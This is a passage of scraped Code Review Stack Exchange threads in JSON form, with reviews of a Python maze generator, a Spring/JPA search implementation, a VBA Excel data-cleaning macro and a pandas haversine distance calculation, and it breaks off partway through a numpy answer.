"body": "<p>I don't see anything major. Just some nitpicks:</p>\n\n<p><code>offsets_to_surrounding_tiles</code> could be written using a list comprehension/generator expression so the offsets don't need to be hard-coded:</p>\n\n<pre><code>def offsets_to_surrounding_tiles2():\n return [(x, y)\n for y in range(-1, 2)\n for x in range(-1, 2)\n if (x, y) != (0, 0)] # So we don't include the centre\n\n>>> offsets_to_surrounding_tiles()\n[(1, 0), (1, -1), (0, -1), (-1, -1), (-1, 0), (-1, 1), (0, 1), (1, 1)]\n</code></pre>\n\n<p>This has the benefit that if you ever decided to expand beyond the Moore Neighborhood that you're currently using, you can modify this function to generate the offsets for a greater neighborhood by including a <code>depth</code> parameter:</p>\n\n<pre><code>def offsets_to_surrounding_tiles2(depth):\n return [(x, y)\n for y in range(-depth, depth + 1)\n for x in range(-depth, depth + 1)\n if (x, y) != (0, 0)]\n\n>>> offsets_to_surrounding_tiles2(1)\n[(-1, -1), (0, -1), (1, -1), (-1, 0), (1, 0), (-1, 1), (0, 1), (1, 1)]\n\n>>> offsets_to_surrounding_tiles2(2)\n[(-2, -2), (-1, -2), (0, -2), (1, -2), (2, -2), (-2, -1), (-1, -1), (0, -1), (1, -1), (2, -1), (-2, 0), (-1, 0), (1, 0), (2, 0), (-2, 1), (-1, 1), (0, 1), (1, 1), (2, 1), (-2, 2), (-1, 2), (0, 2), (1, 2), (2, 2)]\n</code></pre>\n\n<p>This is potentially a violation of <a href=\"https://en.wikipedia.org/wiki/You_aren%27t_gonna_need_it\" rel=\"nofollow noreferrer\">YAGNI</a>, but it may be a good example of what can be done with comprehensions. This function could also be written as a generator expression if you think that the whole list won't necessarily need to be consumed.</p>\n\n<p>It also doesn't seem proper to have this function as an instance method of the class since it doesn't have anything to do with any particular instance (evidenced by the fact that <code>self</code> is ignored). This would be better as a static/class method, or (imo) better yet, as a loose function unrelated to the class.</p>\n\n<hr>\n\n<p>You have a few functions that use several <code>return</code>s instead of just using logical operators. For example:</p>\n\n<pre><code>def inside_image(self, x, y):\n if x < 0:\n return False\n if y < 0:\n return False\n if x >= self.WIDTH:\n return False\n if y >= self.HEIGHT:\n return False\n return True\n</code></pre>\n\n<p>I think this would be cleaner by making use of <code>and</code> and comparison chaining:</p>\n\n<pre><code>def inside_image(self, x, y):\n return 0 <= x < self.WIDTH\n and 0 <= y < self.HEIGHT\n</code></pre>\n\n<p>I think it's much easier to tell the logic at a glance with this version. Arguably, this function could be made easier to test by passing in the width and height too. Right now, you need to instantiate a <code>Maze</code> to test this function, which is more painful than it needs to be.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T16:39:41.327",
"Id": "217564",
"ParentId": "217549",
"Score": "4"
}
},
{
"body": "<p>I'll start off with some possible improvements in the logic.</p>\n\n<p><strong>Firstly</strong>, in <code>Maze::generate</code>, the initialisation of <code>candidates_list</code> could be simplified from</p>\n\n<blockquote>\n<pre><code>candidates_list = []\ncandidates_list.append((0, 0))\n</code></pre>\n</blockquote>\n\n<p>to</p>\n\n<pre><code>candidates_list = [(0, 0)]\n</code></pre>\n\n<p><strong>Secondly</strong>, right on the next line, the condition could be simplified from</p>\n\n<blockquote>\n<pre><code>while len(candidates_list) > 0:\n</code></pre>\n</blockquote>\n\n<p>to</p>\n\n<pre><code>while candidates_list:\n</code></pre>\n\n<p>The behaviour is similar: the loop runs while <code>candidates_list</code> contains items. If it is empty, the loop terminates. The same goes for <code>if len(new_candidates) > 0:</code>:</p>\n\n<pre><code>if new_candidates:\n</code></pre>\n\n<p><strong>Thirdly</strong>, there are a couple places where you can utilise unpacking. For instance, in <code>Maze::generate</code>, we have</p>\n\n<blockquote>\n<pre><code> x = processed[0]\n y = processed[1]\n</code></pre>\n</blockquote>\n\n<p>This can be written in one-line as</p>\n\n<pre><code>x, y = processed\n</code></pre>\n\n<p>In <code>Maze::is_colliding_with_other_tunnels</code>, you can improve readability by unpacking the tuple directly. Instead of</p>\n\n<blockquote>\n<pre><code>for offset in self.offsets_to_surrounding_tiles():\n if self.is_populated(x + offset[0], y + offset[1]):\n x_distance_to_parent = x + offset[0] - parent_x\n y_distance_to_parent = y + offset[1] - parent_y\n if abs(x_distance_to_parent) + abs(y_distance_to_parent) > 1:\n return True\nreturn False\n</code></pre>\n</blockquote>\n\n<p><code>offset</code> can be unpacked into <code>offset_x, offset_y</code>:</p>\n\n<pre><code>for offset_x, offset_y in self.offsets_to_surrounding_tiles():\n if self.is_populated(x + offset_x, y + offset_y):\n x_distance_to_parent = x + offset_x - parent_x\n y_distance_to_parent = y + offset_y - parent_y\n if abs(x_distance_to_parent) + abs(y_distance_to_parent) > 1:\n return True\nreturn False\n</code></pre>\n\n<p><sup><em>(This might also be a good opportunity to let your student have a go at rewriting the above into a one-liner using <code>any</code> and a comprehension. Might be a lil' long-winded though. )</em></sup></p>\n\n<p>This can also be done in <code>MazeWithWideCorridors::is_colliding_with_other_tunnels</code>.</p>\n\n<p>I think you might also be interested in knowing that the following is possible in <code>Maze::children</code>:</p>\n\n<pre><code>if self.is_safe_to_tunnel(parent_x, parent_y, *up):\n returned.append(up)\n</code></pre>\n\n<p><code>*up</code> also does unpacking, but here, unpacks a tuple as arguments into the function. Generally, this can be done when the function accepts arguments from the tuple sequentially. This saves a <em>fair</em> deal of typing.</p>\n\n<p>I actually don't know what the community consensus is on this one – whether it is recommended or not. But it's such a neat Python feature...</p>\n\n<hr>\n\n<p>With regards to <strong>naming</strong>, I would argue that your variables <code>x_distance_to_parent</code> should be named <code>x_displacement_to_parent</code> since they seem to still take into account positive/negative values, implying direction. From a physics perspective, distance is a scalar and doesn't take direction into account.</p>\n\n<p>However, rather than using <code>x_displacement</code>, I'd stick with <code>x_distance</code> as it's more understandable. To be consistent with the previous paragraph, I'd take the absolute value immediately. For instance, in <code>Maze::is_colliding_with_other_tunnels</code>, instead of </p>\n\n<blockquote>\n<pre><code>x_distance_to_parent = x + offset[0] - parent_x\ny_distance_to_parent = y + offset[1] - parent_y\nif abs(x_distance_to_parent) + abs(y_distance_to_parent) > 1:\n return True\n</code></pre>\n</blockquote>\n\n<p>consider</p>\n\n<pre><code>x_distance_to_parent = abs(x + offset_x - parent_x)\ny_distance_to_parent = abs(y + offset_y - parent_y)\nif x_distance_to_parent + y_distance_to_parent > 1:\n return True\n</code></pre>\n\n<p>This can also be considered in <code>MazeWithWideCorridors::is_colliding_with_other_tunnels</code>.</p>\n\n<hr>\n\n<p>With regards to <strong>style</strong>, PEP 8 recommends two lines right after imports and two lines right before and after class declarations.</p>\n\n<pre><code>import random\nfrom PIL import Image\n # <<< 1\n # <<< 2 (after imports)\ndef main():\n # ...\n # <<< 1\n # <<< 2 (before class)\nclass Maze:\n # ...\n\n def inside_image(self, x, y):\n # ...\n # <<< 1\n # <<< 2 (before/after class)\nclass MazeWithWideCorridors(Maze):\n # ...\n # <<< 1\n # <<< 2 (after class)\nmain()\n</code></pre>\n\n<p>This may seem overtly pedantic, but well, it's PEP 8 ¯\\_(ツ)_/¯.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T20:33:48.967",
"Id": "420960",
"Score": "1",
"body": "@MateuszKonieczny You're very much welcome. You do make a case for using `len(candidates_list) > 0`. I personally prefer `candidates_list`. :P I guess in the end, it does come down to some element of subjection and preference. Good luck with your lessons!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T19:26:12.547",
"Id": "217576",
"ParentId": "217549",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": "217576",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T11:28:04.960",
"Id": "217549",
"Score": "9",
"Tags": [
"python",
"python-3.x",
"graphics"
],
"Title": "Maze generator for teaching Python 3"
} | 217549 |
<p>I'm trying to implement properly search functionality for database table. I tried this approach:</p>
<p>Controller:</p>
<pre><code> @GetMapping
public Page<TransactionDTO> find(TransactionFilterDTO filter, Pageable page) {
return searchRepository
.findTransactionsByFilter(mapper.toFilter(filter), page)
.map(mapper::toDTO);
}
</code></pre>
<p>Filer DTO:</p>
<pre><code>public class TransactionFilterDTO {
private String name;
private Integer id;
@DateTimeFormat(iso = DateTimeFormat.ISO.DATE_TIME)
private LocalDateTime from;
@DateTimeFormat(iso = DateTimeFormat.ISO.DATE_TIME)
private LocalDateTime to;
... // getters and setter
}
</code></pre>
<p>Search implementation:</p>
<pre><code>@Repository
public class TransactionSearchRepositoryImpl implements TransactionSearchRepository {
@Autowired
private TransactionRepository transactionRepository;
@Autowired
private TransactionSpecification specification;
@Override
public Page<Transaction> findTransactionsByFilter(TransactionFilter filter, @Nullable Pageable page) {
List<Transaction> transactions = transactionRepository
.findAll(specification.getFilter(filter));
int totalCount = transactions.size();
if(page != null) {
transactions = transactions
.stream()
.skip(page.getOffset())
.limit(page.getPageSize())
.collect(Collectors.toList());
}
return new PageImpl<>(transactions, page, totalCount);
}
}
</code></pre>
<p>Repository:</p>
<pre><code>public interface TransactionSearchRepository {
Page<Transaction> findTransactionsByFilter(TransactionFilter filter, Pageable page);
}
</code></pre>
<p>Is there some better way to implement a search functionality? This solution is very ugly in my view.</p>
| [] | [
{
"body": "<p>In JPA you could use <a href=\"https://docs.spring.io/spring-data/jpa/docs/current/api/org/springframework/data/jpa/repository/JpaSpecificationExecutor.html\" rel=\"nofollow noreferrer\"><code>JpaSpecificationExecutor<T></code></a> in repository, with that you could utilize it's method.</p>\n\n<h3>TransactionRepository</h3>\n\n<pre><code>public interface TransactionRepository extends JpaRepository<Transaction, Long>,\n JpaSpecificationExecutor<Transaction> {\n\n\n}\n</code></pre>\n\n<p>If you look at the source of <code>JpaSpecificationExecutor</code> it has,</p>\n\n<blockquote>\n<pre><code>Page< T > findAll(@Nullable Specification<T> spec, Pageable pageable);\n</code></pre>\n</blockquote>\n\n<p>With that you just pass the specification and Pageable to return what you expected.</p>\n\n<h3>Specification</h3>\n\n<pre><code>@AllArgsConstructor\nclass TransactionSpecification implements Specification<Transaction> {\n\n private TransactionFilter transactionFilter;\n\n @Override\n public Predicate toPredicate(Root<DataImport> root, CriteriaQuery<?> query, CriteriaBuilder criteriaBuilder) {\n // You could add multiple Predicates based on the transactionFilter\n return criteriaBuilder.equal(root.get(\"table_name\"), \"value\");\n }\n}\n</code></pre>\n\n<h3>Controller</h3>\n\n<pre><code> @Autowired\n private TransactionRepository transactionRepository;\n\n @GetMapping\n public Page<TransactionDTO> find(TransactionFilterDTO filter, Pageable page) {\n TransactionFilter transactionFilter = mapper.toFilter(filter);\n return transactionRepository.findAll(new TransactionSpecification(transactionFilter), page);\n }\n</code></pre>\n\n<p>I am pretty late answering but you could give it a try</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-06T10:31:47.857",
"Id": "221772",
"ParentId": "217550",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T12:09:18.477",
"Id": "217550",
"Score": "2",
"Tags": [
"java",
"spring"
],
"Title": "Implement search for JPA and Spring"
} | 217550 |
<p>My code does exactly what I want it to. However, being relatively new to VBA, I feel it could be a lot more efficient - namely I think I have overused loops and worksheet functions which are slowing it down. At the moment it takes around 3 minutes for ~15k rows of data.</p>
<p>Currently it's more of a combination of separate steps joined together so it doesn't flow nicely, rather for each steps it iterates through every row which, while it gets the job done, is frustratingly inefficient.</p>
<p>At the moment I am trying to remove the loops perhaps using Range objects instead, but I would really appreciate any pointers in the right direction.</p>
<pre><code>Sub RunDataClean_Click()
With Sheets("Data")
'ensures code only loops through rows with data and not full worksheet
If Application.WorksheetFunction.CountA(.Cells) <> 0 Then
endrow = .Cells.Find(What:="*", _
After:=.Range("A4"), _
Lookat:=xlPart, _
LookIn:=xlFormulas, _
SearchOrder:=xlByRows, _
SearchDirection:=xlPrevious, _
MatchCase:=False).Row
Else
endrow = 4
End If
End With
Application.ScreenUpdating = False
Dim i As Long
'Checks another sheet to see if we have the cleaned customer name on file
For i = 5 To endrow
'does a vlookup in CDM file
Acc = Application.Cells(i, 5)
Cname = Application.Cells(i, 4)
Acname = Application.VLookup(Acc, Sheet3.Range("D2:F315104"), 3, False)
If IsError(Acname) Then
Cells(i, 32).Value = ""
Else
Cells(i, 32).Value = Acname
End If
Map = Application.VLookup(Acc, Sheet3.Range("C2:F315104"), 4, False)
If IsEmpty(Cells(i, 32)) Then
If IsError(Map) Then
Cells(i, 32).Value = ""
Else
Cells(i, 32).Value = Map
End If
End If
FXid = Application.VLookup(Acc, Sheet3.Range("B2:F315104"), 5, False)
If IsEmpty(Cells(i, 32)) Then
If IsError(FXid) Then
Cells(i, 32).Value = ""
Else
Cells(i, 32).Value = FXid
End If
End If
FXP = Application.VLookup(Cname, Sheet3.Range("A2:F315104"), 6, False)
If IsEmpty(Cells(i, 32)) Then
If IsError(FXP) Then
Cells(i, 32).Value = ""
Else
Cells(i, 32).Value = FXP
End If
End If
LkpName = Application.VLookup(Cname, Sheet3.Range("F2:F315104"), 1, False)
If IsEmpty(Cells(i, 32)) Then
If IsError(LkpName) Then
Cells(i, 32).Value = ""
Else
Cells(i, 32).Value = LkpName
End If
End If
If IsEmpty(Cells(i, 32)) Then
Cells(i, 32).Value = Cells(i, 4).Value
End If
Next i
For i = 5 To endrow
Cells(i, 28).Value = Cells(i, 3).Value & Cells(i, 5).Value
Length = Len(Cells(i, 28))
Cells(i, 29).Value = Length
Cells(i, 31).Value = Cells(i, 4).Value
'does a vlookup in CDM file (CDM)
Acc = Application.Cells(i, 28)
BP = Application.VLookup(Acc, Sheet3.Range("E2:G315104"), 3, False)
If IsError(BP) Then
Cells(i, 30).Value = ""
Else
Cells(i, 30).Value = BP
End If
'assigns B or P based on payment details (Business_Personal)
If Cells(i, 12).Value = "N" Then
Cells(i, 24).Value = "B"
ElseIf Cells(i, 30).Value = "Business" Then
Cells(i, 24).Value = "B"
ElseIf Cells(i, 30).Value = "Personal" Then
Cells(i, 24).Value = "P"
ElseIf Cells(i, 12).Value = "Y" Then
Cells(i, 24).Value = "P"
ElseIf InStr(1, Cells(i, 32), "LTD") <> 0 Then
Cells(i, 24).Value = "B"
ElseIf InStr(1, Cells(i, 32), "LIMITED") <> 0 Then
Cells(i, 24).Value = "B"
ElseIf InStr(1, Cells(i, 32), "MANAGE") <> 0 Then
Cells(i, 24).Value = "B"
ElseIf InStr(1, Cells(i, 32), "BUSINESS") <> 0 Then
Cells(i, 24).Value = "B"
ElseIf InStr(1, Cells(i, 32), "CONSULT") <> 0 Then
Cells(i, 24).Value = "B"
ElseIf InStr(1, Cells(i, 32), "INTERNATIONAL") <> 0 Then
Cells(i, 24).Value = "B"
ElseIf InStr(1, Cells(i, 32), "T/A") <> 0 Then
Cells(i, 24).Value = "B"
ElseIf InStr(1, Cells(i, 32), "TECH") <> 0 Then
Cells(i, 24).Value = "B"
ElseIf InStr(1, Cells(i, 32), "CLUB") <> 0 Then
Cells(i, 24).Value = "B"
ElseIf InStr(1, Cells(i, 32), "OIL") <> 0 Then
Cells(i, 24).Value = "B"
ElseIf InStr(1, Cells(i, 32), "SERVICE") <> 0 Then
Cells(i, 24).Value = "B"
ElseIf InStr(1, Cells(i, 32), "SOLICITOR") <> 0 Then
Cells(i, 24).Value = "B"
ElseIf InStr(1, Cells(i, 32), "CORP") <> 0 Then
Cells(i, 24).Value = "B"
ElseIf Left(Cells(i, 5).Value, 3) = "999" Then
Cells(i, 24).Value = "P"
End If
Next i
'Week_Of_Year
For i = 5 To endrow
WeekNo = Application.Cells(i, 1)
WeekNumba = Application.WeekNum(WeekNo)
Cells(i, 21).Value = WeekNumba
Next i
'Deal_Channel concatenation
For i = 5 To endrow
Cells(i, 22).Value = Cells(i, 6).Value & Cells(i, 13).Value & Cells(i, 17).Value
Next i
'Deal_Source_System
For i = 5 To endrow
DealSS = Application.Cells(i, 22)
Deal_Source = Application.VLookup(DealSS, Sheet4.Range("F2:H354"), 3, False)
If IsError(Deal_Source) Then
Cells(i, 23).Value = "#N/A"
Else
Cells(i, 23).Value = Deal_Source
End If
Next i
'Reporting_Quarter (only worked for type double)
'does a lookup in calendar tab to return reporting quarter - could move this to Access
For i = 5 To endrow
qdate = Cells(i, 1)
qlkp = Application.VLookup(CDbl(qdate), Sheet5.Range("A1:C500"), 3, False)
Cells(i, 26).Value = qlkp
Next i
'copies any #N/A deal channel to lookup tables and then sets deal source to map
lastrow = Sheet4.Cells(Rows.Count, "F").End(xlUp).Row + 1
With Sheet1.Range("W5:W" & endrow)
Set DS = .Find(What:="#N/A", LookIn:=xlValues)
If Not DS Is Nothing Then
firstAddress = DS.Address
Do
DS.Offset(, -1).Copy
Sheet3.Range("F" & lastrow).PasteSpecial xlPasteValues
DS.Value = "Map"
Set DS = .FindNext(DS)
lastrow = lastrow + 1
Loop While Not DS Is Nothing
End If
End With
Application.ScreenUpdating = True
End Sub
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T13:52:19.870",
"Id": "420925",
"Score": "2",
"body": "This procedure looks like a `Click` event handler for some button. What kind of module is it written in? Whether it's a worksheet module or a standard module will make a significant difference in how reliable this code is."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T15:36:10.840",
"Id": "420939",
"Score": "1",
"body": "@MathieuGuindon it's in a form control command button. This was easiest so whoever I pass this process onto just has to click a button but I could use another type if that would help"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T16:58:30.823",
"Id": "420941",
"Score": "0",
"body": "One more question: a lot of this code could very well be substituted for Excel functions that, I'm pretty sure, would calculate much faster than 3 minutes. There *are* ways to make the code run faster, but I can't shake the feeling that most of it should be replaced with worksheet functions. Is there a specific reason not to?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T13:28:48.763",
"Id": "421188",
"Score": "0",
"body": "@MathieuGuindon the main reason was to get rid of the manual side of the process - dragging formulas etc. Nobody wants to spend time on it (needs to be done weekly) so the idea was that they could click a button and then forget about it"
}
] | [
{
"body": "<p>Code that's hard to read, is code that's hard to modify <em>without breaking</em>. Consistent indentation helps with that:</p>\n\n<blockquote>\n<pre><code>For i = 5 To endrow\nqdate = Cells(i, 1)\nqlkp = Application.VLookup(CDbl(qdate), Sheet5.Range(\"A1:C500\"), 3, False)\nCells(i, 26).Value = qlkp\nNext i\n</code></pre>\n</blockquote>\n\n\n\n<pre><code>For i = 5 To endrow\n qdate = Cells(i, 1)\n qlkp = Application.VLookup(CDbl(qdate), Sheet5.Range(\"A1:C500\"), 3, False)\n Cells(i, 26).Value = qlkp\nNext i\n</code></pre>\n\n<p>That's already better!</p>\n\n<p>The first thing I would do would be to indent the entire project in a single click with <a href=\"http://www.github.com/rubberduck-vba/Rubberduck\" rel=\"nofollow noreferrer\">Rubberduck</a>, and then review the inspection results:</p>\n\n<p><img src=\"https://i.stack.imgur.com/uGrFv.png\" alt=\"Rubberduck inspection results\"></p>\n\n<p>Undeclared variables are a huge red flag: <code>Option Explicit</code> isn't specified and VBA will happily compile any typos and carry on running the code in an erroneous logical state, by declaring the new identifier on-the-spot as an implicit <code>Variant</code>. Using disemvoweled, abbreviated, and otherwise unpronounceable names makes it even easier for this to happen, and harder for the bugs it introduces to be found.</p>\n\n<p>Since this code is in the code-behind of a <code>UserForm</code>, there are <em>a lot</em> of implicit <code>ActiveSheet</code> references, and this is making the code extremely frail, prone to blow up with error 1004, or to work off the wrong sheet (although, not <code>Select</code>ing and <code>Activate</code>ing any sheets and toggling <code>ScreenUpdating</code> off <em>does</em> minimize the odds of that happening, albeit indirectly).</p>\n\n<p>There's a <code>Range.Find</code> call at the top of the procedure that assumes there is data on the <code>Sheets(\"Data\")</code> worksheet. In the event where that sheet would be empty, the chained <code>.Row</code> member call would raise error 91.</p>\n\n<blockquote>\n<pre><code>Acc = Application.Cells(i, 5)\nCname = Application.Cells(i, 4)\n</code></pre>\n</blockquote>\n\n<p>These instructions are invoking worksheet members off <code>Application</code>: it's equivalent to <code>ActiveSheet.Cells</code>, or simply <code>Cells</code>. Just reading the code isn't sufficient to understand what sheet that is expected to be active, and thus all these unqualified <code>Cells</code> calls are very ambiguous, at least for a reader that doesn't know what they're looking at.</p>\n\n<p>Barring a few false positives, everything Rubberduck picks up is essentially a low-hanging fruit that should be addressed before deving into the more substantial stuff:</p>\n\n<ul>\n<li>Implicit <code>ActiveSheet</code> and <code>ActiveWorkbook</code> references, should be qualified with a specific <code>Worksheet</code> or <code>Workbook</code> object, or explicitly reference <code>ActiveSheet</code>/<code>ActiveWorkbook</code>, to clarify the intent of the code. I believe the intent is not to work off whatever workbook/sheet is currently active though.</li>\n<li>Avoid Systems Hungarian Notation prefixing. It's harmful, and brings no value.</li>\n<li>Don't make event handler procedures <code>Public</code>, implicitly or not. Event handlers are <code>Private</code> by default, and they should remain that way: they are meant to be invoked by VBA, not user code.</li>\n<li>Use string-typed functions where possible, e.g. <code>Left</code> takes and returns a <code>Variant</code>, but <code>Left$</code> takes and returns an actual <code>String</code>: that's a rather insignificant (to an extent) point performance-wise, but using explicit types should be preferred over <code>Variant</code> (and the slight run-time overhead using <code>Variant</code> incurs).</li>\n</ul>\n\n<hr>\n\n<p>Since a <code>UserForm</code> is involved, I encourage you to read <a href=\"https://stackoverflow.com/a/47291028/1188513\">this answer</a> and the article it links to (I wrote both). The crux being, the last thing you want is to have a form that manipulates a worksheet directly, inside some button's <code>Click</code> handler. A first step towards a thorough refactoring would to turn the click handler into something like this:</p>\n\n<pre><code>Private Sub RunDataClean_Click()\n Macros.RunDataClean\nEnd Sub\n</code></pre>\n\n<p>...and then move the entire body of the procedure into a <code>Public Sub RunDataClean</code> procedure in some <code>Macros</code> module, but that's just a first step.</p>\n\n<hr>\n\n<p>Performance-wise, it's hard to justify all that VBA code to do work that looks very much like it could be done using standard worksheet formulas.</p>\n\n<p>But one thing strikes me:</p>\n\n<blockquote>\n<pre><code>For i = 5 To endrow\n</code></pre>\n</blockquote>\n\n<p>This line appears 6 times in the procedure, so the macro is iterating every single one of these 15K rows, ...6 times. Remove all but the first <code>For i = 5 To endrow</code> and all but the last <code>Next i</code>, and you will likely instantly slash 83% of the work being done.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T13:38:45.910",
"Id": "421191",
"Score": "0",
"body": "Thanks so much Mathieu I really appreciate the help! I'll get working on tidying it up like you have suggested"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T17:38:25.017",
"Id": "217568",
"ParentId": "217553",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T13:28:21.687",
"Id": "217553",
"Score": "1",
"Tags": [
"performance",
"vba",
"excel"
],
"Title": "Improving speed of data clean process in vba"
} | 217553 |
<p>I have a dataframe that has 3 columns, Latitude, Longitude and Median_Income. I need to get the average median income for all points within x km of the original point into a 4th column. I need to do this for each observation.</p>
<p>I have tried making 3 functions which I use apply to attempt to do this quickly. However, the dataframes take forever to process (hours). I haven't seen an error yet, so it appears to be working okay.</p>
<p>The Haversine formula, I found on here. I am using it to calculate the distance between 2 points using lat/lon.</p>
<pre><code>from math import radians, cos, sin, asin, sqrt
def haversine(lon1, lat1, lon2, lat2):
#Calculate the great circle distance between two points
#on the earth (specified in decimal degrees)
# convert decimal degrees to radians
lon1, lat1, lon2, lat2 = map(radians, [lon1, lat1, lon2, lat2])
# haversine formula
dlon = lon2 - lon1
dlat = lat2 - lat1
a = sin(dlat/2)**2 + cos(lat1) * cos(lat2) * sin(dlon/2)**2
c = 2 * asin(sqrt(a))
r = 6371 # Radius of earth in kilometers. Use 3956 for miles
return c * r
</code></pre>
<p>My hav_checker function will check the distance of the current row against all other rows returning a dataframe with the haversine distance in a column.</p>
<pre><code>def hav_checker(row, lon, lat):
hav = haversine(row['longitude'], row['latitude'], lon, lat)
return hav
</code></pre>
<p>My value grabber fucntion uses the frame returned by hav_checker to return the mean value from my target column (median_income).</p>
<p>For reference, I am using the California housing dataset to build this out.</p>
<pre><code>def value_grabber(row, frame, threshold, target_col):
frame = frame.copy()
frame['hav'] = frame.apply(hav_checker, lon = row['longitude'], lat = row['latitude'], axis=1)
mean_tar = frame.loc[frame.loc[:,'hav'] <= threshold, target_col].mean()
return mean_tar
</code></pre>
<p>I am trying to return these 3 columns to my original dataframe for a feature engineering project within a larger class project.</p>
<pre><code>df['MedianIncomeWithin3KM'] = df.apply(value_grabber, frame=df, threshold=3, target_col='median_income', axis=1)
df['MedianIncomeWithin1KM'] = df.apply(value_grabber, frame=df, threshold=1, target_col='median_income', axis=1)
df['MedianIncomeWithinHalfKM'] = df.apply(value_grabber, frame=df, threshold=.5, target_col='median_income', axis=1)
</code></pre>
<p>I have been able to successfully do this with looping but it is extremely time intensive and need a faster solution.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T15:29:24.440",
"Id": "420938",
"Score": "0",
"body": "Can you include some example data, so we can actually run the code?"
}
] | [
{
"body": "<h1>vectorization</h1>\n\n<p>You are doing all the calculations in normal python space. Try to do as much as possible in numpy space</p>\n\n<h2>dummy data</h2>\n\n<pre><code>np.random.seed(0)\ncoords = (np.random.random(size=(N, dim)) - 0.5) * 360\nmedian_income = np.random.normal(size=N) * 10000 + 5000\ndf = pd.DataFrame(\n {\n \"lat\": coords[:, 0],\n \"lon\": coords[:, 1],\n \"median_income\": np.random.normal(size=N) * 10000 + 30000,\n }\n)\n</code></pre>\n\n<p>instead of using <code>math.radians</code>, use<code>np.radians</code> to calculate this for the whole matrix at once:</p>\n\n<pre><code>coords_rad = np.radians(df[[\"lat\", \"lon\"]].values)\n</code></pre>\n\n<h2>select only the upper triangle</h2>\n\n<p>For this section, I borrowed a bit from <a href=\"https://stackoverflow.com/a/43570681/1562285\">this SO post</a></p>\n\n<pre><code>p1, p2 = np.triu_indices(N,k=1) # k=1 eliminates diagonal indices\n</code></pre>\n\n<h2>havesine distances</h2>\n\n<pre><code>lat1, lon1 = coords_rad[p1].T\nlat2, lon2 = coords_rad[p2].T\nd_lat = lat2 - lat1\nd_lon = lon2 - lon1\nr = 6371\ndistances = 2 * r * np.arcsin(\n np.sqrt(\n np.sin(d_lat / 2) ** 2\n + np.cos(lat1) * np.cos(lat2) * np.sin(d_lon / 2) ** 2\n )\n)\n</code></pre>\n\n<blockquote>\n<pre><code>array([ 6318.56953693, 5685.87555152, 8221.15833653, 6489.20595509,\n 8755.09024969, 7805.61189508, 6919.53162119, 15295.76892719,\n 8706.83662262, 8113.95651365, 14532.71048537, 11780.39186778,\n 7556.99686671, 11832.44825307, 7137.04783302, 9306.23652045,\n 5446.80037496, 8740.28196777, 10242.77405649, 14237.95015622,\n 12225.48901658, 2112.82250374, 11830.45390613, 13194.16431067,\n 3966.47195107, 11375.98162917, 5385.20026834, 10745.8851006 ,\n 15975.57051313, 13621.58550369, 7573.94148257, 2037.20795034,\n 12284.11555433, 17912.47114836, 9676.18614574, 6000.06279665,\n 14392.65091451, 11339.26110213, 2465.57715011, 14204.32921867,\n 15974.00480201, 8347.16187191, 9820.5895048 , 12576.27804606,\n 9720.35934264])\n</code></pre>\n</blockquote>\n\n<p>A way to minimize the memory footprint of this is by choosing the correct <code>dtype</code> by adding <code>.astype(\"e\")</code> for example. The correct <code>dtype</code> for this application is the smallest one that still delivers the necessary resolution, so needs to be chosen with your data taken into consideration.</p>\n\n<h2>Distance matrix</h2>\n\n<p>You can assemble a distance matrix</p>\n\n<pre><code>distance_matrix = np.zeros((N, N))\ndistance_matrix [(p1, p2)] = distances \ndistance_matrix [(p2, p1)] = distances \n</code></pre>\n\n<blockquote>\n<pre><code> array([[ 0. , 6318.56953693, 5685.87555152, 8221.15833653, 6489.20595509, 8755.09024969, 7805.61189508, 6919.53162119, 15295.76892719, 8706.83662262],\n [ 6318.56953693, 0. , 8113.95651365, 14532.71048537, 11780.39186778, 7556.99686671, 11832.44825307, 7137.04783302, 9306.23652045, 5446.80037496],\n [ 5685.87555152, 8113.95651365, 0. , 8740.28196777, 10242.77405649, 14237.95015622, 12225.48901658, 2112.82250374, 11830.45390613, 13194.16431067],\n [ 8221.15833653, 14532.71048537, 8740.28196777, 0. , 3966.47195107, 11375.98162917, 5385.20026834, 10745.8851006 , 15975.57051313, 13621.58550369],\n [ 6489.20595509, 11780.39186778, 10242.77405649, 3966.47195107, 0. , 7573.94148257, 2037.20795034, 12284.11555433, 17912.47114836, 9676.18614574],\n [ 8755.09024969, 7556.99686671, 14237.95015622, 11375.98162917, 7573.94148257, 0. , 6000.06279665, 14392.65091451, 11339.26110213, 2465.57715011],\n [ 7805.61189508, 11832.44825307, 12225.48901658, 5385.20026834, 2037.20795034, 6000.06279665, 0. , 14204.32921867, 15974.00480201, 8347.16187191],\n [ 6919.53162119, 7137.04783302, 2112.82250374, 10745.8851006 , 12284.11555433, 14392.65091451, 14204.32921867, 0. , 9820.5895048 , 12576.27804606],\n [15295.76892719, 9306.23652045, 11830.45390613, 15975.57051313, 17912.47114836, 11339.26110213, 15974.00480201, 9820.5895048 , 0. , 9720.35934264],\n [ 8706.83662262, 5446.80037496, 13194.16431067, 13621.58550369, 9676.18614574, 2465.57715011, 8347.16187191, 12576.27804606, 9720.35934264, 0. ]])\n</code></pre>\n</blockquote>\n\n<p>Then you can use 